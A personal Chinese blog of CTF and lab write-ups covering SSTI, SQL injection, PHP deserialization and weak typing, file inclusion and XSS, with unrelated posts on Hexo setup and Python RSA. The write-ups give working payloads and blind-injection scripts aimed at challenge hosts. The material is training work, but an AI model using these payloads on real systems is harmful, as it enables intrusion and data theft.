Rock's blog

兴趣是最好的老师

0%

X-CTF WEB 题目解题思路

1.backup

php备份文件格式.php~.php.bak

2.Web_python_template_injection

检测是否存在注入。

/{{2*2}}

发现2*2被计算为了4,说明存在注入。
尝试枚举当前目录下的文件。

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

再读取文件

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

3.shrine

题目给出了部分代码,整理如下:

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

大概意思是题目将flag放在了app.config['FLAG']中,同时对/shrine/下的请求参数做了过滤。将()替换为空。也将config和self对应变量设为了None。

有以下两种wp:

1

/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

2

/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

get_flashed_messages()和url_for()是flask框架中的函数。

get_flashed_messages()作用如下:

  • 设置:flash(‘aaa’)
  • 取值:get_flashed_message()
  • 假设在a页面操作出错,跳转到b页面,在b页面显示a页面的错误信息

url_for()作用如下:

  • 给指定的函数构造 URL。
  • 访问静态文件(CSS / JavaScript 等)。

4.unfinish

首先看到的是一个登录界面,猜测有注册界面。
扫描目录后,发现确实有注册界面。

尝试注册用户并登录,发现登录后会把用户名显示出来,没有其他特别的内容。

对注册时的三个参数进行特殊字符和关键字测试,发现用户名有些异常响应。

猜测用户名处存在注入,且可能为二次注入。
经测试,大概过滤了,information

可得到数据库名为web,但表名无法得到。查看参考答案后得知表名全靠猜。

最终的注入程序如下:

import requests

baseURL = "http://124.126.19.106:53212/"
fObj = open("/root/Desktop/unfinish.txt","r")
regCount = int(fObj.read())
fObj.close()

try:
    for i in range(50):
        payload = "0'+ascii(substr((select * from flag) from "+ str(i+1) +" for 1))+'0"
        # 注册用户名
        regCount += 1
        parma = {"email":"test" + str(regCount) + "@qq.com", "username":payload, "password":"1111"}
        register = requests.post(baseURL+"register.php", data=parma)
        # 登录
        parma = {"email":"test" + str(regCount) + "@qq.com", "password":"1111"}
        login = requests.post(baseURL+"login.php", data=parma)
        # print(login.text)
        username = login.text.split("<span class=\"user-name\">")[1].split("</span>")[0].strip()
        if username == '0':
            break
        print(chr(int(username)), end='')
    print()
finally:
    fObj = open("/root/Desktop/unfinish.txt","w")
    fObj.write(str(regCount))
    fObj.close()

unfinish.txt用来计数注册了多少个用户,因为该题目用户一旦注册,用户名就不能改变了,所以每次注册必须使用新邮箱。

未完待续……

1.PORT51

题目要求使用51号端口访问该地址

curl --local-port 51 http://web.jarvisoj.com:32770/

2.LOCALHOST

题目提示只有localhost才能访问,故在请求头中添加:

client-ip: 127.0.0.1
X-Forwarded-For: 127.0.0.1

成功获取到flag。

3.Login

burp抓取到响应头部隐藏提示:

Hint: "select * from `admin` where password='".md5($pass,true)."'"

md5($pass,true)说明返回的是将密码md5加密后的二进制数据。故需要我们找到令加密后数据可以构造出sql注入的明文数据,此处列举一些可行的payload:

明文: 129581926211651571912466741651878684928
md5hex: 06da5430449f8f6f23dfc1276f722738
对应的字符串: ?T0D??o#??’or’8.N=?
明文: ffifdyop
md5hex: 276f722736c95d99e921722cf9ed621c
对应的字符串: ‘or’6蒥欓!r,b

注:由于mysql在进行布尔类型的的比较时会将数字开头的字符串视为数字,所以可以使判断成立。

4.神盾局的秘密

打开题目发现是一张图片,查看响应头部无特殊信息后,尝试分析图片,发现并无异常。查看网页源代码:

<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

看到这里img后的base64编码字符串,解码后为shield.jpg。猜测这里含有文件包含漏洞,且文件名以base64编码形式传入。
包含showimg.php,查看源码显示:

<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

可以看到这里对pctf进行了过滤。
进一步尝试包含index.php

<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

再包含shield.php

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

由于showimg.phppctf进行了过滤,所以我们不能简单地直接包含pctf.php,但是可以注意到index.php允许我们提交一个class参数,该参数可以被反序列化为Shield()对象,然后调用其readfile()方法。故我们需要做的是为class参数传入一个序列化后的Shield()对象,这样经过反序列化后再调用其readfile()方法,就可以正确读取pctf.php
我们可以在本地搭建一个php环境,结合shield.php,输出序列化后的Shield()对象:

<?php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
}
$pctf = new Shield("pctf.php");
echo serialize($pctf);
?>

运行的结果为:

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

将该结果填入URL:

/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

得到flag。

5.IN A Mess

访问题目链接,查看源码,发现index.phps,访问。发现里面有php源码,尝试进行分析:

<?php
error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}
?>

程序接收了idab三个参数。

  • id不为0id0比较后相等;

  • a用来指定打开的文件名,并要求文件内容为1112 is a nice lab!;

  • b的长度要大于5,且和111拼接后可以匹配1114,且b的第一个字符和4不相等;
    id可以利用php的弱类型比较来绕过。a可以使用php:\\inputdata:伪协议来绕过。由于eregi()\x00截断影响,所以b可以通过\x00截断绕过。
    故可构造URL:

    /index.php?id=0e&a=php://input&b=%0044444

数据部分添加:

1112 is a nice lab!

页面返回以下字符串:

<!--index.phps--> Come ON!!! {/^HT2mCpcvOLf}

/^HT2mCpcvOLf像是一个目录,故尝试访问,经过一系列跳转后到达以下页面:

http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=1

看不出有其他异常点,由于含有参数?id=1,故尝试sql注入。发现输入'时回显查询字符串,表名为content,确认考察sql注入。

1.判断注入类型为数字型注入

2.查明过滤字符和关键字,经过测试,发现过滤了selectunionfrom空格,关键字使用双写、大小写绕过,空格使用/1/绕过。

3.通过union查询来获得content表的列名:

?id=-1/*1*/uunionnIon/*1*/seunionleCT/*1*/1,2,group_concat(column_name)/*1*/frofromm/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74%23

这里的表名被16进制编码,是因为直接写表名会报错,原因尚不明确。

查询结果为:

id,context,title

context列进行查找:

?id=-1/*1*/uunionnIon/*1*/seunionleCT/*1*/1,2,group_concat(context)/*1*/frofromm/*1*/content%23

查询结果即为flag。

6.Simple Injection

首先对网站进行目录扫描,未发现其他有价值的页面。着手对登录页面进行注入。

发现页面会提示用户名错误和密码错误,判断用户名和密码验证为分步进行。

测试常用用户名,发现合法用户名admin

对该用户名进行注入,发现为字符型注入,且闭合符号为''||1#可顺利绕过用户名验证。

对此位置进行基于bool的盲注。

#!/usr/bin/python3
# -- coding: utf-8 --

import requests
import urllib.parse

URL = "http://web.jarvisoj.com:32787/login.php"

# Fuzz
fObj = open("/root/Desktop/special_char.txt", 'r')

for word in fObj.readlines():
    word_ = word.strip()
    word = urllib.parse.unquote(word_)
    parma = {"username":"'||length('\\"+ word +"')="+ str(len(word)) +"#", "password":"1"}
    post = requests.post(url=URL, data=parma)
    if post.text.find("密码错误") == -1:
        print("%s\tFiltered" % word_)

fObj.close()

fObj = open("/root/Desktop/char_list.txt", 'r')
chrList = fObj.readlines()
fObj.close()

# query = "(database())"
# query = "(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1)"
# query = "(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='admin'/**/limit/**/2,1)"
# id	username	password
query = "(select/**/password/**/from/**/admin)"

length = 0
for l in range(1,100):
    parma = {"username":"'||length("+ query +")="+ str(l) +"#", "password":"1"}
    post = requests.post(url=URL, data=parma)
    if post.text.find("密码错误") != -1:
        length = l
        break
print(length)

for l in range(length):
    flag = False
    for ch in chrList:
        ch = ch.strip()
        parma = {"username":"'||substr("+ query +","+ str(l+1) +",1)='"+ ch +"'#", "password":"1"}
        post = requests.post(url=URL, data=parma)
        if post.text.find("密码错误") != -1:
            print(ch, end='')
            flag = True
            break
    if not flag:
        print("*", end='')
print()

心得:要先对注入点进行测试,判断过滤了哪些特殊字符和关键字,注意对特殊字符进行转义。

持续更新中……

一、Misc

1.丘比龙De女神

gif图片中嵌套去掉头部的加密zip压缩包。

2.Remove Boyfriend

流量分析中的导出两个py代码和jpg图片,将图片中的字符代入py代码执行,得出结果

3.MD5

通过py脚本中的hashlib库来生成md5值,通过re库来匹配给定md5值。注意md5的update()方法是不断将新的字符串拼接到之前的字符串后计算md5值,不是使用新字符串来计算md5值。

import hashlib
import re

charList = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
pattern = r"e9032\w\w\wda\w\w\w08\w\w\w\w911513\w0\w\w\wa2"
plainText1 = "TASC"
plainText2 = "O3RJMV"
plainText3 = "WDJKX"
plainText4 = "ZM"

for ch1 in charList:
    for ch2 in charList:
        for ch3 in charList:
            string = plainText1+ch1+plainText2+ch2+plainText3+ch3+plainText4
            md5 = hashlib.md5(string.encode()).hexdigest()
            if re.match(pattern, md5):
                print(md5)
                exit(0)

二、Web

1.签到题

右键查看源码

2.签到2

修改输入框字符长度限制,成功提交口令zhimakaimen

3.md5 collision

本题利用php弱类型比较。php弱类型总结

由于字符串在使用==作为比较符号时,字符串会被转换为数字,故不同的字符串只要转化为的数字的值相等,即可使判断成立。利用python写一个脚本即可找到这样的字符串。

import hashlib
import re
from itertools import permutations
import time

charList = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
pattern = r"^0e([0-9]{30})"

startTime = time.time()
for k in range(2,10):
    print("length=%d" %(k),end="\t")
    for item in permutations(charList,k):
        item=''.join(item)
        md5_value = hashlib.md5(item.encode()).hexdigest()
        if re.match(pattern,md5_value):
            print(item)
            print(md5_value)
            exit(0)
    print("Time used :%fs" %(time.time()-startTime))

4.这题不是WEB

另存题目中的图片,用Stegsolve中的File Formart分析。

5.文件包含

php://filter/convert.base64-encode/resource=index.php即可解出。

6.AAencode

burp抓取homura.cc/CGfiles/aaencode.txt把里面的内容放到AAEncode解码器中。

7.单身二十年

burp抓取请求,发现页面从/web8/search_key.php通过<script>window.location="./no_key_is_here_forever.php"; </script>跳转到了/web8/no_key_is_here_forever.php。flag隐藏在/web8/search_key.php中。

8.单身一百年也没用

这里的flag隐藏在index.php的response的头部

9.php decode

直接将给出的php代码运行,或是将编码的shell解码出来打印,都可以看到flag。

根据提示,用burp抓包,将cookie中的login=0改为login=1

11.MYSQL

题目考察intval()函数,进行查询的$idintval()转型,但是if语句中的判断条件是直接获取get请求,故尝试使用值大于1024小于1025的小数。

12./x00

题目考察php中ereg()函数的\00截断漏洞,被匹配的字符串如果包含\00会被截断,后面的字符串不再参与匹配。需要构造

?nctf=1%00%23biubiubiu

注意这里的#被URL编码为%23是为了不被解析为URL中的

13.GBK Injection

利用常见的宽字节注入漏洞,注意本题过滤了where子句中的',可用hex编码绕过。或者直接用sqlmap也可以跑出来。

14.bypass again

此题目依旧考察php弱类型,两字符串使用==比较时均会先转型为数字,再比较。转型规则见3.md5 collision。直接使用上题的字符串即可。

15.变量覆盖

此题考察extract()函数的变量覆盖问题,extract()会将键名当作变量名,值作为变量的值,将变量从数组中导入到当前的符号表中。如果使用默认的EXTR_OVERWRITE模式,并将此函数用于接收用户的输入,则会导致严重的变量覆盖问题。此题中的

if ($pass == $thepassword_123) {
    echo $theflag;
}

就由于用户POSTpass=1&thepassword_123=1而被绕过。

16.伪装者

此题提示只有本地可以访问,尝试在请求头部加client-ip: 127.0.0.1X-Forwarded-For: 127.0.0.1,发现client-ip: 127.0.0.1有效。

17.上传绕过

此题尝试\00截断,在/uploads/后添加1.php jpg,中间的空白需要用hex编辑为00,即能上传成功。不必修改filename="1.jpg"

18.SQL注入1

看源码,即可解题。

user=admin%27%29%23&pass=Password

19.pass check

该题目考察srtcmp(),当函数发生错误时,会显示警告并返回0。提交数组进行比较引发strcmp()报错即可。

pass[]=

注意在提交请求时要使用POST请求提交。可以直接在burp中修改请求;也可以自己在html中添加form表单,并使用POST方法提交;还可以使用firefoxhackbar插件进行POST提交。

20.起名字真难

仔细阅读题目给出的源码,大意是将$_GET得到的字符串按位转化为对应的ASCII码,并判断该ASCII码是否介于1~9的ASCII码之间,如果在则返回false,否则判断该字符串的值是否与54975581388相等,相等则返回true。可以想到利用16进制字符串绕过。而且54975581388的16进制恰好是0xccccccccc,该字符串的每一位都符合函数判断条件。

21.密码重置

观察题目的URL/web13/index.php?user1=Y3RmdXNlcg==,发现Y3RmdXNlcg==ctfuser的base64编码,故将user1的参数换为admin的base64编码,并将post的用户名修改为admin提交如下:

22.SQL Injection

通过查看页面源代码得到该题的源码,发现代码使用了stripslashes()删除用户提交的\构成的转义符号。同时使用htmlentities($str, ENT_QUOTES)将用户提交的'"转义为html实体。故尝试提交:

username=\\&password=||1%23

拼接后的查询语句为:

SELECT * FROM users WHERE name='\' AND pass='||1#';

但是这样并不能成功注入,猜测是由于get_magic_quotes_gpc()返回为0,所以stripslashes()未执行,故修改为:

username=\&password=||1%23

成功提交。

注:查看网页源代码是个好习惯,本题中的html实体编码在普通网页中看不出来。

23.SQL注入2

查看php源码,发现可以使用union注入。

if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
    echo "<p>Logged in! Key: ntcf{**************} </p>";
}

题目通过比较查询出的密码和用户输入的密码比对来验证,故可以通过union select人为添加查询结果,并提交密码。这样两个参数均可以被控制。故提交如下:

user=%27union+select+md5%28%27pass%27%29 %23&pass=pass

24.综合题

访问题目链接,发现是JSFuck编码,将该编码放到浏览器的console中执行,页面显示

访问该文件

/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php

显示

查看响应的头部发现

由于linux下会将历史命令保存在用户/home目录下的.bash_history中,故尝试访问该文件。

/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history

找到以下历史命令:

zip -r flagbak.zip ./*

猜测该目录下存在flagbak.zip,故访问:

/web3/b0b0ad119f425408fc3d45253137d33d/lagbak.zip

下载解压出flag.txt,拿到flag。

25.密码重置2

再“见”hexo——重新理解hexo

从两年前初次接触hexo,到工作之后再次拾起hexo并解决了一些坑。我想重新再梳理一下hexo的用法和安装中的坑。

1.Node.js npm hexo他们是什么关系?

(1)Nodejs

官方解释:Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行时。

简单的说 Node.js 就是运行在服务端的 JavaScript。

我目前的理解是,对于hexo来说,Node.js是将hexo的markdown文本编写成html等文件的编译器。

(2)npm

npm 是 JavaScript 世界的包管理工具。

我的理解,npm是用于安装各种第三方JavaScript模块的软件管理器。类似于Ubuntu/Debian系统中的apt包管理器或者是CentOS系统中的yum。

(3)hexo

官方解释:Hexo 是一个快速、简洁且高效的博客框架。Hexo 使用 Markdown(或其他渲染引擎)解析文章,在几秒内,即可利用靓丽的主题生成静态网页。

我的简单理解:hexo可以让你用Markdown编写静态博客。

2.如何安装hexo

(1)构建本地博客源码仓库

最佳方案,你需要参考hexo官网的安装教程。我的经验是不同的操作系统安装方法不一样,请务必尽量遵循官网的安装建议,否则不一定哪里会出现问题。

(2)生成远程博客托管仓库

你可以选择托管到github或coding上或者是你自己的主机上,这一点网上的许多教程都有说过,这里不再赘述。

3.一些坑

(1)如果你发现hexo生成文件后无法开启本地模拟服务器,即hexo s无法识别且hexo的帮助中没有server指令。那么你可能没有安装hexo-server。Hexo 3.0 把服务器独立成了个别模块,你必须先安装hexo-server才能使用。

$ npm install hexo-server --save

安装完成后,输入以下命令以启动服务器,你的网站会在http://localhost:4000下启动。

$ hexo server

如果你想要更改端口,或是在执行时遇到了EADDRINUSE错误,可以在执行时使用-p选项指定其他端口,如下:

$ hexo server -p 5000

(2)在输入hexo deploy后,hexo报如下错误:

ERROR Deployer not found: git

这是由于你没有安装hexo-deployer,执行以下命令来进行安装:

$ npm install hexo-deployer-git --save

(3)在在输入hexo deploy后,hexo提示:

You should configure deployment settings in _config.yml first!

查看一下你的hexo根目录下的_config.ymldeploy:的配置是否正确。应类似于以下内容:

deploy:
type: git
repo: git@github.com:Rock718/rock718.github.io.git

注意:这里的type:repo:后面至少应该有一个空格。如果你有多个repo:,样子应该类似这样:

deploy:
type: git
repo:
      github: git@github.com:Rock718/rock718.github.io.git
      coding: git@coding.com:**********

一定要注意缩进的问题

(4)如果你想在hexo中插入图片,建议参考官网的推荐,使用形如:

{% asset_img example.jpg This is an example image %}

当然,在这之前你需要配置hexo根目录下的_config.ymlpost_asset_folder: true

“百度杯”CTF比赛-九月场-SQLi 解题过程

1.确定注入点

打开题目,发现为空白页面,进而查看页面源代码

发现有login.php?id=1的链接,尝试从此处注入,这样就正好落入了出题人的圈套。因为这里是一个假注入点,尝试各种注入也没能找到注入点。这时需要重新寻找新的线索。查看header中是否有异样,经过仔细观察后发现,我们是从题目链接根目录刷新到一个页面,随后经过302跳转到当前页面的

仔细查看此过程的header发现了新的线索

访问该隐藏链接,并尝试注入,发现存在字符串类型的注入

其实这里我尝试了很多次也没有发现注入规律,最大的原因是注释符号#被过滤掉了,将#%23代替后成功找到了注入点。

2.探测过滤和确定注入方式

使用burp的intruder功能探测过滤了哪些字符和关键字,发现过滤了,(这里最好将特殊字符进行URL编码)。

接下来判断此处是否是盲注,发现可以通过union注入

3.开始注入

利用join来规避对于,的过滤,使用普通dump数据的语句即可完成注入

4.总结

通过这道题目,我注意到以下几点:

(1)注意对请求进行URL编码

(2)确定注入点时多尝试不同的注释符号或闭合方式

(3)注意观察请求过程中的header和内容

(4)找不到注入点时尝试查找是否有隐藏文件

1.模块安装

Python默认没有安装rsa模块,所以如果编译器告诉你找不到rsa模块时,你需要安装它.

Windows下:

在你安装Python的目录下找到Scripts目录,运行里面的pip.exe,其使用方式和linux下的pip一致.

在cmd中输入:

pip install rsa

这会在Script目录下下载一些exe程序,这时rsa模块就已经安装好了

Linux下:

在命令行中输入:

pip install rsa

2.代码示例

(1)加密程序 encrypt.py

import rsa
import base64
from sys import argv

try:
    plainfileName = argv[1]
    cipherFileName = argv[2]
    
    plainfileObject = open(plainfileName)
    cipherFileObject = open(cipherFileName,"wb")
    try:
        message = plainfileObject.read()	# 明文
        
        #生成密钥
        (pubkey, privkey) = rsa.newkeys(2048)
        # 保存密钥
        with open('public.pem','w+') as f:
            f.write(pubkey.save_pkcs1().decode())

        with open('private.pem','w+') as f:
            f.write(privkey.save_pkcs1().decode())

        # 公钥加密
        crypto = base64.encodestring(rsa.encrypt(message.encode(), pubkey))
        # print(str(crypto,encoding = 'utf-8'))
        cipherFileObject.write(crypto)
        
    finally:
        plainfileObject.close()
        cipherFileObject.close()
except:
    print("Example:\nencrypt.py plainfileName cipherFileName")

该程序会要求你以这样的方式运行它:

encrypt.py plainfileName cipherFileName

其中plainfileName是你要加密的文件名,cipherFileName是密文保存的文件名

(3)解密代码示例 decrypt.py

import rsa
import base64
from sys import argv

try:

    fileName = argv[1]
    publicKey = argv[2]
    privateKey = argv[3]

    fileObject = open(fileName,"rb")
    try:
        crypto = fileObject.read()	# 明文
        
        # 导入密钥
        with open(publicKey,'r') as f:
            pubkey = rsa.PublicKey.load_pkcs1(f.read().encode())

        with open(privateKey,'r') as f:
            privkey = rsa.PrivateKey.load_pkcs1(f.read().encode())

        # 私钥解密
        message = rsa.decrypt(base64.decodestring(crypto), privkey).decode()
        print(message)
    finally:
        fileObject.close()
except:
    print("Example:\ndecrypt.py fileName publicKey privateKey")

该程序会要求你以这样的方式运行它:

decrypt.py fileName publicKey privateKey

fileName指你要解密的文件,publicKey是当时加密时生成的公钥文件,privateKey是私钥文件

站点:https://pentesterlab.com/exercises/web_for_pentester/

从上面的站点下载好iso镜像后在虚拟机中启动

Example 1

思路: 首先查看HTML页面,发现没有用户输入的地方.然后看URL,发现”?name=hacker”.测试改变name的值,发现页面会返回name的值.确定name为注入点.第一题一般很简单.

答案:

/xss/example1.php?name=<script>alert()</script>

Example 2

思路: 采用上一题的答案进行测试.发现程序过滤了<script>和</script>.但是HTML标签不区分大小写,so~

答案:

/xss/example2.php?name=<Script>alert()</scRipt>

Example 3

思路:通过测试发现程序只过滤了一遍<script>与</script>标签.

答案:

?name=<script<script>>alert()</script</script>>

Example 4

思路:完全过滤了script标签,考虑使用<img>标签.

答案:

name=<img src="" onerror="alert()">

Example 5

思路: 过滤了”alert”的大小写,考虑使用evel()函数配合Unicode编码.

tips: eval() 函数可计算某个字符串,并执行其中的 JavaScript 代码.

答案:

?name=<script>eval(\u0061\u006c\u0065\u0072\u0074())</script>

Example 6

思路: 查看HTML页面,很明显是使用JavaScript语言的注释.

答案:

?name=";alert()

Example 7

思路: 上一题闭合双引号,这一题单引号.

答案:

?name=';alert()

Example 8

思路: 一开始被输入框误导,以为从输入框注入,后来才发现是从<form>标签入手.仔细观察发现<form>标签的action字段属性的值与URL有关.

答案:

example8.php/"%20method="POST"><script>alert()</script><!--

tips:<form>标签用于为用户输入创建 HTML 表单。action属性规定当提交表单时向何处发送表单数据。

Example 9

思路: 注意到代码中的

document.write(location.hash.substring(1))

显然是利用锚注入

答案:

#<script>alert()</script>

XX-Net是一款开源vpn软件.通过利用GAE(Google App Engine)作为代理服务器.具体的安装方法请参照https://github.com/XX-net/XX-Net,上面说得很详细.

但是kali或是debian的一些系统在安装时会发生一些问题.

当运行start文件时会报python-openssl相关的一些错误,这主要是由于pyopenssl的版本过低,与python2.7不兼容.导致无法正确导入OpenSSL包.

解决方案 :

pip uninstall pyopenssl
pip install pyopenssl

升级后的pyopenssl版本应为16.2.0

0.前言

在花了一个下午和晚上之后,终于做完了这六道题目,感觉还是挺有收获的.整体感觉这六道题目比较简单,难度不高.

这是站点 : https://xss-game.appspot.com/

1.闲言少叙,书归正转.

Level 1: Hello, world of XSS

入手点:
level.py的第44行代码

  # Our search engine broke, we found no results :-(
      message = "Sorry, no results were found for <b>" + query + "</b>."
      message += " <a href='?'>Try again</a>."

思路:
直接闭合 <b> 标签,插入js代码

答案:

</b><script>alert()</script><b>

Level 2: Persistence is key

入手点:
index.html的第30行代码

html += "<blockquote>" + posts[i].message + "</blockquote";

思路:
这道题我一开始想用上道题的套路,但显然不可以。具体为什么我还不是很明白。根据题目的提示,貌似可以利用 <img> 标签的onerror属性。

答案:

<img src="***" onerror="alert()">

Level 3: That sinking feeling…

入手点:
index.html的第17行代码

html += "<img src='/static/level3/cloud" + num + ".jpg' />";

思路:
这道题乍一看没有让用户输入的地方。通过查看代码第43行,我们知道页面会调用chooseTab函数,将url中#后面的字符串做为参数传入。我们需要构造一个字符串,使img标签加载的时候执行我们的代码。

答案:

'onerror="alert()"/>

Level 4: Context matters

入手点:
timer.html的第21行代码

<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />

思路:
这道题通过构造特殊的timer变量值,使得标签中的js代码得以执行。

答案:

'),alert()//

在做题目的时候发现自己的输入被转义成了html实体,以为无法被指执行,所以想破头也没想出来。在看了答案后才知道是能够被执行的。不过我还是不知道这是为什么?

Level 5: Breaking protocol

入手点:
signup.html的第15行代码

<a href="{{ next }}">Next >></a>

思路:
通过查看代码,三个html都是很简单的页面,只有signup.html调用了next变量,并放到了 <a> 标签中,我不禁想到利用其执行js代码。再通过读level.py我了解到当页面的url参数带有”signup”时,next的值为next变量获得的参数值。那么这道题目就很简单了,我们只需要利用 <a> 标签的url来执行代码。

答案:

javascript:alert()

Level 6: Follow the rabbit

入手点:
index.html的第17~25行代码。

var scriptEl = document.createElement('script');

  // This will totally prevent us from loading evil URLs!
  if (url.match(/^https?:\/\//)) {
    setInnerText(document.getElementById("log"),
      "Sorry, cannot load a URL containing \"http\".");
    return;
  }

思路:
题目说得很清楚,利用外部js脚本执行alert()。但最大的问题是对我们给出的url做了过滤。这让我很头疼,心想难道 <script> 标签难道还有其他的属性可以利用?后来才了解到到题目只对小写的http和https过滤了,而url的协议与地址部分是不区分大小写的,也就是说我写成hTtPs://也是没问题的!

答案:

HTTPS://www.rockblog.cn/test.js

让我惊喜的是还有一种在我看来更惊艳的答案,利用了data类型的url。

解决方案如下:

data:text,alert()

在下实在是佩服!

0.写在前面

在之前的腾讯云服务器上,我的博客使用的是wordpress(虽然并没有写多少东西 (..!) ),作为一款功能强大的cms,用来搭建博客有点”大炮打蚊子”,而且由于采用的是动态页面,有时会出现DB error之类的错误.作为一个写博客的萌新,实在是有点招架不住.后来了解到了利用nodejs生成静态页面的hexo,感觉比较适合我这样的懒人.

本篇博客其中部分内容引用了以下两篇文章,请不明白的同学访问其链接,取长补短,在此也感谢这两篇文章对我搭建博客的帮助.

在 Ubuntu 14.04 服务器上部署 Hexo 博客

【腾讯云的1001种玩法】Hello Hexo之静态博客搭建+自动部署

1.搭建流程

1.1 hexo的基本工作原理在我理解中是通过本地的hexo软件解析作者用markdown写好的文件,根据配置生成各种html css js 文件,上传到服务器的指定文件夹下.服务器端通过nginx开启访问服务,浏览器就可以通过访问服务器看到你的网页了.

1.2 我的虚拟主机采用ubuntu16.04镜像,服务器采用nginx.本地端使用的是kali(可能使用ubuntu会方便一些).

首先需要在本地端安装nodejs

apt-get install nodejs

在安装过nodejs后npm也自动安装好了
然后再安装hexo

npm install hexo-cli hexo-server -g

hexo-cli 是 Hexo 的命令行工具,可用于快速新建、发布、部署博客;hexo-server 是 Hexo 的内建服务器,可用于部署前的预览和测试。-g 选项,表示全局安装。

接下来,我们初始化一个hexo文件夹,以后所有对hexo的操作都在这个文件夹中进行了

hexo init $PATH/$DIR

这里$+大写的都是用户自己定义的部分(后文同上),用于选择hexo存放在本地的位置

我们先不管服务端的配置,先在本地测试一下.刚才在init的时候hexo已经为我们自动生成了一篇hello-world文章,类似如下

---
title: Hello World
comments: true
---

#接下来是正文......

当然,一篇文章可以定义许多属性,只要写在”—“之间就可以,这里我也是在学习,就不班门弄斧了.相信大家也很容易见文知意.如果想要自己创建一篇文章,只需要使用

hexo new $ARTICLE_NAME

这里我们创建了一篇博文,使用new命令,是不是很简单

接着我们需要安装一些软件来将我们写好的md文章转换成html等文件

npm hexo-deployer-git --save

见证奇迹的时刻!!!

执行:

hexo g && hexo s

打开你的浏览器,输入127.0.0.1:4000,是不是看到了一篇简单的hello-world.其实刚才的第一个命令用于生成静态的文件,第二个命令开启了一个侦听于本地4000端口的服务程序,将刚生成好的静态文本展示了出来,就是这么的简单.

1.3 服务端的搭建

接下来在服务器端,我们需要搭建nginx服务

apt-get install nginx git

git用处很多,这里用于创建一个仓库

先创建一个裸仓库

mkdir /var/$WEB
chown -R $USER:$USER /var/$WEB
chmod -R 755 /var/$WEB

我们在var下创建了一个目录,用来作为仓库.然后修改所属和权限,使$USER拥有相应的权限,然后创建仓库:

cd /var/$WEB
git init --bare $GIT_NAME.git

接下来配置nginx托管文件目录,并修改相应权限

mkdir -p /var/www/$HEXO
chown -R $USER:$USER /var/www/$HEXO
chmod -R 755 /var/www/$HEXO

修改nginx的配置:

vim /etc/nginx/sites-available/default

将nginx根目录修改为托管文件目录

......
server {
listen 80 default_server;
listen [::]:80 default_server;

root /var/www/$HEXO; # 需要修改的部分
......

保存退出,并重启nginx

systemctl restart nginx

1.4 创建git钩子

接下来,在服务器上的裸仓库 $WEB 创建一个钩子,在满足特定条件时将静态 html 文件传送到 Web 服务器的目录下,即 /var/www/$HEXO.

vim /var/$WEB/$GIT_NAME.git/hooks/post-receive

在该文件中添加两行代码,指定 git 的工作树(源代码)和 git 目录(配置文件等).

#!/bin/bash
git --work-tree=/var/www/$HEXO --git-dir=/var/$WEB/$GIT_NAME.git checkout -f

保存并退出文件,并让该文件变为可执行文件

chmod +x /var/$WEB/$GIT_NAME.git/hooks/post-receive

到这里,服务端的配置基本结束

运行以下命令,你应该就可以通过访问服务器看到自己的博客了

hexo g && hexo d

期间还会要求你输入服务器登录密码

是不是很开森呢.

接下来我们可以自由选择对我们的博客进行下面的一些完善,比如更换更酷的主题,将站点更换为https,为博客添加评论系统等,这里就不展开了.